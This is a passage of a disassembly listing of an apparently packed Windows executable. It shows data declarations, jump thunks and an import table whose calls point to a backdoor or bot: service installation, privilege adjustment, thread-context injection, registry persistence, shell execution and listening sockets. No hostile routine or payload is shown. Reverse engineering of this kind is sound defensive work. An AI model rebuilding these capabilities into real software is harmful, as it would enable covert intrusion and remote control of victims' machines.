		db 3 dup(?)
dword_9D311F	dd ?				align 4
		dd 413Bh dup(?)
		db 3 dup(?)
dword_9E3613	dd ?							; sub_13C1140+104r ...
		align 4
		dd 16h dup(?)
		db 3 dup(?)
dword_9E3673	dd ?							; sub_13C1140+10Fr ...
		align 4
		dd 16h dup(?)
		db 3 dup(?)
dword_9E36D3	dd ?							; sub_13C1140+11Fr ...
		align 4
		dd 0Bh dup(?)
		db ?
dword_9E3705	dd ?							; sub_13C1140+12Fr ...
		db 3 dup(?)
		dd 21h dup(?)
		db 3 dup(?)
dword_9E3793	dd ?							; sub_13C1140+13Fr ...
		align 4
		dd 0Dh dup(?)
		db ?
dword_9E37CD	dd ?							; sub_13C1140+154r ...
		db 3 dup(?)
		dd 0Ah dup(?)
		db 3 dup(?)
dword_9E37FF	dd ?							; sub_13C1140+15Fr ...
		align 4
		dd 0Bh dup(?)
		db ?
dword_9E3831	dd ?							; sub_13C1140+16Fr ...
		db 3 dup(?)
		dd 2 dup(?)
		db 2 dup(?)
dword_9E3842	dd ?							; sub_13C1140+17Fr ...
		db 2 dup(?)
		dd 39h dup(?)
byte_9E392C	db ?			; DATA XREF: sub_13C2740+11w
					; sub_13C2740:loc_13C2782w ...
dword_9E392D	dd ?							; sub_13C1140+18Fr ...
		db 3 dup(?)
		dd 3 dup(?)
		db 2 dup(?)
dword_9E3942	dd ?							; sub_13C1140+19Fr
		db 2 dup(?)
		dd 3 dup(?)
		db 3 dup(?)
dword_9E3957	dd ?							; sub_13C1140+1AFr ...
		align 4
		dd 4 dup(?)
dword_9E396C	dd ?							; sub_13C1140+1BFr ...
		dd 4 dup(?)
		db 3 dup(?)
dword_9E3983	dd ?							; sub_13C1140+1D3r ...
		align 4
		dd 10D894h dup(?)
		db 3 dup(?)
dword_E19BDB	dd ?							; sub_13CFD00+13o
		align 10h
		dd 39h dup(?)
		db ?
byte_E19CC5	db 3 dup(?)		; DATA XREF: sub_13AE3C0+499o
					; sub_13AF020+1Eo ...
		dd 5 dup(?)
byte_E19CDC	db ?			; DATA XREF: sub_13AF070+292w
					; sub_13AF070+4EEw
dword_E19CDD	dd ?							; sub_13CCE50:loc_13CD5DAr ...
		db 3 dup(?)
		dd ?
		db ?
dword_E19CE9	dd ?							; sub_13AF020+2Aw
byte_E19CED	db 3 dup(?)		; DATA XREF: sub_13BD0C0+244o
					; sub_13BD0C0+267o
		dd 9 dup(?)
		db 3 dup(?)
dword_E19D17	dd ?							; sub_13D1EF0:loc_13D1FE7r
		align 4
		dd 0A0h	dup(?)
		db 3 dup(?)
byte_E19F9F	db ?			; DATA XREF: sub_13B1B90+A3Co
					; sub_13B1B90+ECDo ...
		dd 8 dup(?)
dword_E19FC0	dd ?				dd 51h dup(?)
		db ?
byte_E1A109	db ?			; DATA XREF: sub_13D0C40:loc_13D0CF0r
					; sub_13D1100:loc_13D11B5r ...
		db 2 dup(?)
		dd 9Eh dup(?)
		db ?
dword_E1A385	dd ?							; sub_13D1100+7Dw ...
		db 3 dup(?)
		dd 7D7h	dup(?)
		db 2 dup(?)
word_E1C2EA	dw ?			; DATA XREF: sub_13CFC90+16o
					; sub_13CFCC0+19o
		db 2 dup(?)
word_E1C2EE	dw ?			; DATA XREF: sub_13CFBC0+4Co
		dd 1701h dup(?)
		db ?
byte_E21EF5	db 3 dup(?)		; DATA XREF: sub_13C42A0+3o
					; sub_13C4360+13o
		dd 1EB9h dup(?)
		db 3 dup(?)
byte_E299DF	db ?			; DATA XREF: sub_13D0E80+1Do
		dd 21h dup(?)
		db ?
byte_E29A65	db 3 dup(?)		; DATA XREF: sub_13C42A0+13o
		dd 235h	dup(?)
		db 3 dup(?)
byte_E2A33F	db ?			; DATA XREF: sub_13D0E80+2Fo
		dd 1D5h	dup(?)
byte_E2AA94	db ?			; DATA XREF: sub_13AF070+299w
					; sub_13BA370:loc_13BA3B2r ...
byte_E2AA95	db 3 dup(?)		; DATA XREF: sub_13AE3C0+4D8o
					; sub_13AF070+235o ...
		dd 4 dup(?)
		db 2 dup(?)
word_E2AAAA	dw ?			; DATA XREF: sub_13AF070+2D4o
					; sub_13B1B90+EE1o ...
		dd 0Fh dup(?)
		db ?
byte_E2AAE9	db ?			; DATA XREF: sub_13C9C70+31w
					; sub_13C9C70+47w ...
		db ?
byte_E2AAEB	db ?			; DATA XREF: sub_13C28A0+21o
					; sub_13C7C40+341o ...
		dd 7E94Ah dup(?)
dword_1025014	dd 1000h dup(?)						; sub_13C3EA0+Do ...
dword_1029014	dd 333h	dup(?)						; sub_13C3EA0+28o ...
dword_1029CE0	dd ?							; sub_13C4420+1Br ...
		db 0Ch dup(?)
dword_1029CF0	dd ?							; sub_13C9F40+Dw ...
dword_1029CF4	dd ?							; sub_13C9EA0+2Aw ...
dword_1029CF8	dd ?		dword_1029CFC	dd ?							; sub_13C9F40+2Bw
dword_1029D00	dd ?		dword_1029D04	dd ?							; sub_13C9F40+37w ...
dword_1029D08	dd ?							; sub_13C9F40+3Dw ...
dword_1029D0C	dd ?							; sub_13CB1B0+9o
dword_1029D10	dd ?							; sub_13C9EA0:loc_13C9EC4r ...
dword_1029D14	dd ?							; sub_13C9F40+51w
dword_1029D18	dd ?							; sub_13CA940+41w ...
dword_1029D1C	dd ?							; sub_13CA940+7Fr
dword_1029D20	dd ?							; sub_13CA940+92r ...
dword_1029D24	dd ?							; sub_13CA940+148r
		dd 3 dup(?)
dword_1029D34	dd ?							; sub_13C64F0+C5o
dword_1029D38	dd ?							; sub_13CDB30+5r ...
dword_1029D3C	dd ?							; .idata:013CE2CEr ...
		dd 7CEh	dup(?)
dword_102BC78	dd 6 dup(?)						; .idata:013CE1C8o ...
dword_102BC90	dd 196h	dup(?)						; sub_13CDA70+6Do
dword_102C2E8	dd ?		word_102C2EC	dw ?			; DATA XREF: sub_13CF2B0+A9r
		db 2 dup(?)
byte_102C2F0	db ?			; DATA XREF: sub_13CF900:loc_13CF960r
					; sub_13CF900+97w
		db 3 dup(?)
dword_102C2F4	dd ?							; sub_13D0C40+D9r
dword_102C2F8	dd ?							; sub_13D0C40+45r
dword_102C2FC	dd ?							; sub_13D0C40+54r ...
		dd ?
dword_102C304	dd 80h dup(?)						; sub_13D0E80+129o
dword_102C504	dd ?		dword_102C508	dd ?				dd 1Dh dup(?)
dword_102C580	dd ?							; sub_13D5480+BDr ...
dword_102C584	dd ?							; sub_13D6F30:loc_13D6FC6r ...
		db 8 dup(?)
dword_102C590	dd ?		dword_102C594	dd ?							; sub_13D98A0+2Fr ...
dword_102C598	dd ?							; sub_13D9AD0+111w ...
dword_102C59C	dd ?							; sub_13D9AD0+F6r ...
dword_102C5A0	dd ?							; sub_13DA7D0r
dword_102C5A4	dd ?				dd 13Eh	dup(?)
dword_102CAA0	dd 10h dup(?)						; sub_13DA5A0:loc_13DA5D0o ...
dword_102CAE0	dd 8 dup(?)						; sub_13D9960+25o ...
dword_102CB00	dd 18h dup(?)						; sub_13DAAB0+25o ...
dword_102CB60	dd 28h dup(?)						; sub_13D9AD0:loc_13D9BE7o ...
_$4895f		ends

; Section 4. (virtual address 00C2D000)
; Virtual size			: 00001E32 (   7730.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
_q1rk2j		segment	para public 'DATA' use32
		assume cs:_q1rk2j
		;org 102D000h
		dd 1C1h	dup(?)
OpenServiceA	dd ?			; DATA XREF: sub_13B93A0+37r
					; sub_13B9440+2Fr ...
		db 8 dup(?)
EnumServicesStatusA	dd ?			; DATA XREF: sub_13CABF0+219r
OpenThreadToken	dd ?			; DATA XREF: sub_13CA7E0+22r
AdjustTokenPrivileges	dd ?			; DATA XREF: sub_13CA7E0+28r
OpenProcessToken	dd ?			; DATA XREF: sub_13CA7E0+46r
LookupPrivilegeValueA	dd ?			; DATA XREF: sub_13CA7E0+71r
RegQueryValueExA	dd ?			; DATA XREF: sub_13CA500+D1r
					; sub_13CABF0+31Cr
StartServiceCtrlDispatcherA	dd ?			; DATA XREF: sub_13CA010+49r
RegisterServiceCtrlHandlerA	dd ?			; DATA XREF: sub_13C9F40+49r
SetServiceStatus	dd ?			; DATA XREF: sub_13C9EA0+76r
					; sub_13C9F40+74r
StartServiceA	dd ?			; DATA XREF: sub_13B94C0+50r
RegCloseKey	dd ?			; DATA XREF: sub_13AF070+DE4r
					; sub_13B8630+280r ...
ControlService	dd ?			; DATA XREF: sub_13B93A0+5Cr
					; sub_13CA710+5Er
DeleteService	dd ?			; DATA XREF: sub_13B93A0+63r
					; sub_13CA710+52r
OpenSCManagerA	dd ?			; DATA XREF: sub_13B9180+2Cr
					; sub_13B93A0+11r ...
CreateServiceA	dd ?			; DATA XREF: sub_13B9180+B2r
CloseServiceHandle	dd ?			; DATA XREF: sub_13B9180+D7r
					; sub_13B9180+10Ar ...
ChangeServiceConfig2A	dd ?			; DATA XREF: sub_13B9180+155r
RegCreateKeyExA	dd ?			; DATA XREF: sub_13B8630+22Cr
					; sub_13B8BB0+22Cr
GetUserNameA	dd ?			; DATA XREF: sub_13B0C90+15Br
RegOpenKeyExA	dd ?			; DATA XREF: sub_13AF070+D65r
					; sub_13CA500+B3r ...
RegSetValueExA	dd ?			; DATA XREF: sub_13AF070+DC9r
					; sub_13B8630+275r ...
RegDeleteValueA	dd ?			; DATA XREF: sub_13AF070+E3Dr
					; sub_13B8BB0+24Cr
		dd 1Ch dup(?)
TerminateProcess	dd ?			; DATA XREF: sub_13CA3A0+D5r
					; sub_13CA7E0+CDr ...
		dd 10h dup(?)
WaitForMultipleObjects	dd ?			; DATA XREF: sub_13DA960+4Br
CreateEventA	dd ?			; DATA XREF: sub_13DA7F0+4Fr
GetCurrentThreadId	dd ?			; DATA XREF: sub_13DA690+32r
DuplicateHandle	dd ?			; DATA XREF: sub_13DA690+57r
InterlockedIncrement	dd ?			; DATA XREF: sub_13DA610+1Fr
					; sub_13DAEF0+34r ...
GetThreadPriority	dd ?			; DATA XREF: sub_13DA5A0+1Er
					; sub_13DA690+73r
SuspendThread	dd ?			; DATA XREF: sub_13D96D0+A8r
GetThreadContext	dd ?			; DATA XREF: sub_13D96D0+D6r
SetThreadContext	dd ?			; DATA XREF: sub_13D96D0+EDr
ResumeThread	dd ?			; DATA XREF: sub_13D96D0+FDr
					; sub_13DA370+C3r
SetEvent	dd ?			; DATA XREF: sub_13D96D0+11Br
WaitForSingleObject	dd ?			; DATA XREF: sub_13D94D0+47r
					; sub_13D9590+47r ...
ResetEvent	dd ?			; DATA XREF: sub_13D94D0+63r
					; sub_13D9590+63r ...
InterlockedDecrement	dd ?			; DATA XREF: sub_13D92D0+20r
					; sub_13DAEF0+78r ...
TerminateThread	dd ?			; DATA XREF: sub_13CFAD0+3Er
DeleteCriticalSection	dd ?			; DATA XREF: .idata:013CE420r
					; .idata:013CE66Ar ...
InitializeCriticalSection	dd ?			; DATA XREF: .idata:013CE42Br
					; sub_13DAB20+B1r
CreateThread	dd ?			; DATA XREF: .idata:013CE45Cr
					; sub_13D0E80+110r
EnterCriticalSection	dd ?			; DATA XREF: .idata:013CE133r
					; sub_13D9960+8r ...
LeaveCriticalSection	dd ?			; DATA XREF: .idata:013CE1CDr
					; sub_13D9960+2Ar ...
GetCurrentThread	dd ?			; DATA XREF: sub_13CA7E0+1Br
					; sub_13DA690+4Dr
GetCurrentProcess	dd ?			; DATA XREF: sub_13CA7E0+3Fr
					; sub_13DA690+38r
OpenProcess	dd ?			; DATA XREF: sub_13CA3A0+41r
					; sub_13CA7E0+BEr ...
FindResourceA	dd ?			; DATA XREF: sub_13CA090+4Ar
LoadResource	dd ?			; DATA XREF: sub_13CA090+5Fr
SizeofResource	dd ?			; DATA XREF: sub_13CA090+69r
LockResource	dd ?			; DATA XREF: sub_13CA090+72r
MultiByteToWideChar	dd ?			; DATA XREF: sub_13C64F0+84r
					; sub_13C6660+84r
GetLocalTime	dd ?			; DATA XREF: sub_13C3EF0+Ar
GetLastError	dd ?			; DATA XREF: sub_13B9180+C0r
					; sub_13CA7E0+94r ...
GetTempPathA	dd ?			; DATA XREF: sub_13B7F50+45r
WriteFile	dd ?			; DATA XREF: sub_13B7F50+47Ar
LoadLibraryA	dd ?			; DATA XREF: sub_13B7990+9Dr
					; sub_13CA940+39r ...
GetProcAddress	dd ?			; DATA XREF: sub_13B7990+A9r
					; sub_13CA940:loc_13CA98Cr ...
GetTickCount	dd ?			; DATA XREF: sub_13AE3C0+4F3r
					; sub_13AF020+2r ...
DeleteFileA	dd ?			; DATA XREF: sub_13AF070+F40r
					; sub_13AF070+1086r ...
GetSystemDirectoryA	dd ?			; DATA XREF: sub_13AF070+ED3r
					; sub_13AF070+1013r ...
CreateProcessA	dd ?			; DATA XREF: sub_13AF070+184r
					; sub_13B7990+40Er ...
ExpandEnvironmentStringsA	dd ?			; DATA XREF: sub_13AF070+121r
					; sub_13B7F50+500r ...
GetComputerNameA	dd ?			; DATA XREF: sub_13B0C90+14Br
					; sub_13C5D60+6Cr
GetVersionExA	dd ?			; DATA XREF: sub_13B0C90+76r
GlobalMemoryStatus	dd ?			; DATA XREF: sub_13B0C90+63r
GetStdHandle	dd ?			; DATA XREF: sub_13B3E30+13r
AllocConsole	dd ?			; DATA XREF: sub_13B3E30+Dr
FreeConsole	dd ?			; DATA XREF: sub_13B3EA0+Cr
Sleep	dd ?			; DATA XREF: sub_13B5CD0+10Er
					; sub_13B7990+36Fr ...
ExitThread	dd ?			; DATA XREF: sub_13B6800+50Cr
					; sub_13B6800+54Cr ...
CloseHandle	dd ?			; DATA XREF: sub_13B6800+44Ar
					; sub_13B76F0+113r ...
ReadFile	dd ?			; DATA XREF: sub_13B6800+3DBr
SetFilePointer	dd ?			; DATA XREF: sub_13B6800+3C4r
GetFileSize	dd ?			; DATA XREF: sub_13B6800+24Br
CreateFileA	dd ?			; DATA XREF: sub_13B6800+1FAr
					; sub_13B7870+52r ...
FindClose	dd ?			; DATA XREF: sub_13B7360+CCr
					; sub_13B7360+160r
FindNextFileA	dd ?			; DATA XREF: sub_13B7360+C1r
					; sub_13B7360+155r
FindFirstFileA	dd ?			; DATA XREF: sub_13B7360+40r
					; sub_13B7360+FFr
GetModuleFileNameA	dd ?			; DATA XREF: sub_13B76F0+19r
					; sub_13B7990+92r ...
GetModuleHandleA	dd ?			; DATA XREF: sub_13B76F0+12r
					; sub_13B7990+8Br ...
SetFileTime	dd ?			; DATA XREF: sub_13B7870+BDr
GetFileTime	dd ?			; DATA XREF: sub_13B7870+7Br
GetWindowsDirectoryA	dd ?			; DATA XREF: sub_13B7870+13r
CopyFileA	dd ?			; DATA XREF: sub_13B7990+352r
		dd 27h dup(?)
?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB	dd ?			; DATA XREF: sub_13CA500+EBr
?find_last_of@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDI@Z	dd ?			; DATA XREF: sub_13CA500+105r
?erase@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@II@Z	dd ?			; DATA XREF: sub_13CA500+113r
?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ	dd ?			; DATA XREF: sub_13CA500+11Dr
??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z	dd ?			; DATA XREF: .idata:013B39A6r
					; .idata:013B4D76r ...
??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z	dd ?			; DATA XREF: .idata:013B39BDr
					; .idata:013B4D8Dr
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ	dd ?			; DATA XREF: sub_13CA500+147r
		dd 22h dup(?)
_ftime	dd ?			; DATA XREF: sub_13DB230+37r
_endthreadex	dd ?			; DATA XREF: sub_13DA550+1Br
_beginthreadex	dd ?			; DATA XREF: sub_13DA370+96r
printf	dd ?			; DATA XREF: sub_13D8240+E0r
					; sub_13D8240+100r ...
sprintf	dd ?			; DATA XREF: sub_13D74F0+32r
					; sub_13D75C0+77r ...
_errno	dd ?			; DATA XREF: sub_13D72A0+A1r
					; sub_13D7E80+5Fr ...
strerror	dd ?			; DATA XREF: sub_13D72A0+AAr
					; sub_13D7E80+68r ...
perror	dd ?			; DATA XREF: sub_13D6C30+61r
					; sub_13D6C30+EFr ...
		dd ?
_isctype	dd ?			; DATA XREF: sub_13D6C30+87r
_pctype	dd ?			; DATA XREF: sub_13D6C30:loc_13D6CC2r
calloc	dd ?			; DATA XREF: sub_13D6C30+193r
					; sub_13D79A0+301r ...
fprintf	dd ?			; DATA XREF: sub_13D6BB0+29r
					; sub_13D6F30+3Fr ...
_iob	dd ?			; DATA XREF: sub_13D1EF0:loc_13D2113r
					; sub_13D6BB0+19r ...
fflush	dd ?			; DATA XREF: sub_13D1EF0+22Dr
					; sub_13D8820+19Br
sscanf	dd ?			; DATA XREF: sub_13CDB70+4Dr
					; sub_13D79A0+114r ...
strrchr	dd ?			; DATA XREF: sub_13CCE50+805r
fwrite	dd ?			; DATA XREF: sub_13CA090+7Dr
					; sub_13D8820+154r
fseek	dd ?			; DATA XREF: sub_13C9340+571r
					; sub_13C9340+587r ...
_strcmpi	dd ?			; DATA XREF: sub_13B4390+18r
					; sub_13C36D0+125r ...
ftell	dd ?			; DATA XREF: sub_13C9340+578r
					; .idata:013CB1D8r
fread	dd ?			; DATA XREF: sub_13C9340+5B4r
					; sub_13D8820+DCr
fputc	dd ?			; DATA XREF: sub_13C7C40+4BAr
					; sub_13C7C40+508r
wcscat	dd ?			; DATA XREF: sub_13C64F0+8Ar
					; sub_13C6660+8Ar
fopen	dd ?			; DATA XREF: sub_13C6060+Ar
					; sub_13C7C40+3CEr ...
fclose	dd ?			; DATA XREF: sub_13C6060+18r
					; sub_13C7C40+519r ...
		dd ?
rand	dd ?			; DATA XREF: sub_13C3CD0+2r
					; sub_13C3D20r	...
srand	dd ?			; DATA XREF: sub_13C3CB0+7r
					; sub_13C5D60+178r ...
free	dd ?			; DATA XREF: sub_13C36D0+386r
					; sub_13CE8E0+Ar ...
malloc	dd ?			; DATA XREF: sub_13B99A0+12r
					; sub_13C36D0+165r ...
strncat	dd ?			; DATA XREF: sub_13B7990+399r
					; sub_13CCE50+382r ...
exit	dd ?			; DATA XREF: sub_13B7990+41Ar
					; sub_13C28A0+18Br ...
strncmp	dd ?			; DATA XREF: sub_13B76F0+86r
					; sub_13C7C40+495r ...
_snprintf	dd ?			; DATA XREF: sub_13B7360+15r
					; sub_13C36D0+27Dr ...
atof	dd ?			; DATA XREF: sub_13B5A80+19r
					; sub_13B5B00+1Dr
strchr	dd ?			; DATA XREF: sub_13B44C0+1r
					; sub_13CCE50+702r ...
_vsnprintf	dd ?			; DATA XREF: sub_13B4430+28r
					; sub_13BCD10+24r ...
		dd 3 dup(?)
strtok	dd ?			; DATA XREF: sub_13B1030+B2r
					; sub_13C60A0+5Dr
strstr	dd ?			; DATA XREF: sub_13B1030+216r
					; sub_13B4580+18r ...
strncpy	dd ?			; DATA XREF: sub_13B1030+2A7r
					; sub_13B4080+61r ...
		dd ?
system	dd ?			; DATA XREF: sub_13AF070+98Fr
					; sub_13AF070+14CBr
atoi	dd ?			; DATA XREF: sub_13AEA40+25Er
					; sub_13AF070+D2r ...
		db 4 dup(?)
_memccpy	dd ?			; DATA XREF: sub_13D7070+58r
__mb_cur_max	dd ?			; DATA XREF: sub_13D6C30+76r
_mbsdup	dd ?			; DATA XREF: sub_13D6C30+2Dr
		dd 28h dup(?)
ShellExecuteA	dd ?			; DATA XREF: sub_13AF070+44Er
					; sub_13C6440+15r
		dd 0Bh dup(?)
ExitWindowsEx	dd ?			; DATA XREF: sub_13C86D0+4Dr
					; sub_13C86D0+9Cr ...
wsprintfA	dd ?			; DATA XREF: sub_13B0C90+12Br
					; sub_13B3FC0+1Cr ...
		dd 0Bh dup(?)
htons	dd ?			; DATA XREF: sub_13B6800+13Cr
					; sub_13C36D0+1ACr
getsockname	dd ?			; DATA XREF: sub_13B6800+131r
					; sub_13BA370+28Cr ...
bind	dd ?			; DATA XREF: sub_13B6800+101r
					; sub_13C41E0+57r ...
htons	dd ?			; DATA XREF: sub_13B6800+EAr
					; sub_13BA370+201r ...
socket	dd ?			; DATA XREF: sub_13B6800+A4r
					; sub_13BA370+1BCr ...
connect	dd ?			; DATA XREF: sub_13BA370+233r
					; sub_13C46C0+BFr ...
WSACleanup	dd ?			; DATA XREF: sub_13C28A0+2AFr
					; sub_13C4520+3Fr
WSAStartup	dd ?			; DATA XREF: sub_13C28A0+97r
					; sub_13C4420+30r ...
gethostname	dd ?			; DATA XREF: sub_13C3BA0+A5r
					; sub_13D1EF0+B1r
WSAGetLastError	dd ?			; DATA XREF: sub_13C46C0+C5r
					; sub_13C4CD0:loc_13C4E19r ...
		dd ?
listen	dd ?			; DATA XREF: sub_13B6800+1ACr
					; sub_13C41E0+6Fr ...
ioctlsocket	dd ?			; DATA XREF: sub_13C5370+27r
					; sub_13C5370+49r ...
htonl	dd ?			; DATA XREF: sub_13CDB30+Dr
recvfrom	dd ?			; DATA XREF: sub_13CDD50+1A4r
					; sub_13D4A10+153r ...
sendto	dd ?			; DATA XREF: sub_13CDD50+13Cr
					; sub_13D1500+286r ...
setsockopt	dd ?			; DATA XREF: sub_13D1500+CFr
					; sub_13D1E10+69r ...
WSASocketA	dd ?			; DATA XREF: sub_13D1500+A6r
					; sub_13D1E10+47r ...
WSAIoctl	dd ?			; DATA XREF: sub_13D1EF0+16Er
		dd 3 dup(?)
inet_ntoa	dd ?			; DATA XREF: sub_13AF070+6BFr
					; sub_13B6800+480r ...
htonl	dd ?			; DATA XREF: sub_13B6800+285r
					; sub_13CDB30+15r ...
select	dd ?			; DATA XREF: sub_13B6800+30Cr
					; sub_13C46C0+118r ...
accept	dd ?			; DATA XREF: sub_13B6800+357r
					; sub_13C4AE0+EDr ...
closesocket	dd ?			; DATA XREF: sub_13B6800+392r
					; sub_13B6800+4FAr ...
send	dd ?			; DATA XREF: sub_13B6800+3F1r
					; sub_13BCC80+1Dr ...
recv	dd ?			; DATA XREF: sub_13B6800+422r
					; sub_13C4CD0+11Er ...
inet_addr	dd ?			; DATA XREF: sub_13AF070+5A7r
					; sub_13B6800+27Er ...
gethostbyaddr	dd ?			; DATA XREF: sub_13AF070+5D9r
					; sub_13C3BA0+6Dr
getpeername	dd ?			; DATA XREF: sub_13C5140+2Er
					; sub_13C9340+134r
gethostbyname	dd ?			; DATA XREF: sub_13AF070+67Ar
					; sub_13C5470+23r ...
		dd 4D7h	dup(?)
_q1rk2j		ends

; Section 5. (virtual address 00C2F000)
; Virtual size			: 0000B3D4 (  46036.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000000
; Flags	C2000040: Data Discardable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
_q50$p6		segment	para public 'DATA' use32
		assume cs:_q50$p6
		;org 102F000h
		dd 2D00h dup(?)
_q50$p6		ends

; Section 7. (virtual address 00F3B000)
; Virtual size			: 00070000 ( 458752.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000000
; Flags	E0000000: Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 133B000h
		assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing
		dd 1C000h dup(?)
_packed		ends

; Section 8. (virtual address 00FAB000)
; Virtual size			: 00031000 ( 200704.)
; Section size in file		: 000302F9 ( 197369.)
; Offset to raw	data for section: 00000C00
; Flags	E0000000: Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
_idata		segment	para public 'CODE' use32
		assume cs:_idata
		;org 13AB000h
		assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing
		dd 100h	dup(0)
		db 5 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB405	proc near
		jmp	sub_13D9A50
sub_13AB405	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB40A	proc near
		jmp	sub_13BD0C0
sub_13AB40A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB40F	proc near		; CODE XREF: sub_13CBF00+29p
		jmp	sub_13CC460
sub_13AB40F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB414	proc near
		jmp	near ptr dword_13DB670
sub_13AB414	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB419	proc near
		jmp	sub_13CB1B0
sub_13AB419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB41E	proc near		; CODE XREF: sub_13BBCF0+3p
		jmp	sub_13BBD20
sub_13AB41E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB423	proc near		; CODE XREF: sub_13B5570+4Dp
					; sub_13B5570+5Ap ...
		jmp	sub_13AE000
sub_13AB423	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB428	proc near		; CODE XREF: sub_13C9EA0+34p
		jmp	sub_13B5400
sub_13AB428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB42D	proc near		; CODE XREF: sub_13AE3C0+4DDp
					; sub_13AF070+619p ...
		jmp	sub_13B4430
sub_13AB42D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB432	proc near
		jmp	sub_13D4520
sub_13AB432	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB437	proc near		; CODE XREF: sub_13BD920+3Bp
					; sub_13BEF00+40p
		jmp	sub_13BF9F0
sub_13AB437	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB43C	proc near		; CODE XREF: sub_13D9C60+6Ep
					; sub_13D9C60+8Ap ...
		jmp	near ptr 13DD400h
sub_13AB43C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB441	proc near		; CODE XREF: sub_13D92D0+72p
					; sub_13D9C60+3Fp ...
		jmp	near ptr 13DD280h
sub_13AB441	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB446	proc near
		jmp	sub_13CDD50
sub_13AB446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB44B	proc near		; CODE XREF: sub_13C28A0+248p
		jmp	sub_13B7540
sub_13AB44B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB450	proc near		; CODE XREF: sub_13B5400+3Ap
					; sub_13B5470+1Ap
		jmp	near ptr 13DCDA0h
sub_13AB450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB455	proc near		; CODE XREF: sub_13C8A70+37Bp
		jmp	sub_13CC040
sub_13AB455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB45A	proc near		; CODE XREF: sub_13B64C0+8p
		jmp	sub_13B6680
sub_13AB45A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB45F	proc near
		jmp	near ptr dword_13DBCE0
sub_13AB45F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB464	proc near
		jmp	sub_13C6A20
sub_13AB464	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB469	proc near		; CODE XREF: sub_13C1140+17Ap
		jmp	sub_13C9FE0
sub_13AB469	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB46E	proc near		; CODE XREF: sub_13B6360+32p
		jmp	sub_13B6520
sub_13AB46E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB473	proc near		; CODE XREF: sub_13C1140+18Ap
		jmp	sub_13C26A0
sub_13AB473	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB478	proc near		; CODE XREF: sub_13BFC40+5Ep
					; sub_13C0690+32p
		jmp	sub_13C05D0
sub_13AB478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB47D	proc near		; CODE XREF: sub_13C8A70+161p
					; sub_13CC7F0+3p
		jmp	sub_13CBE60
sub_13AB47D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB482	proc near
		jmp	sub_13C50F0
sub_13AB482	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_10. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB48C	proc near		; CODE XREF: sub_13CC040+3p
					; sub_13CC3C0+4Fp ...
		jmp	sub_13CC580
sub_13AB48C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB491	proc near		; CODE XREF: sub_13B6800+47p
		jmp	sub_13B6ED0
sub_13AB491	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB496	proc near
		jmp	sub_13D2410
sub_13AB496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB49B	proc near		; CODE XREF: sub_13B1970+Ap
		jmp	sub_13B1A10
sub_13AB49B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4A0	proc near		; CODE XREF: sub_13CEA10+23p
					; sub_13CEBB0+6p ...
		jmp	sub_13CE920
sub_13AB4A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


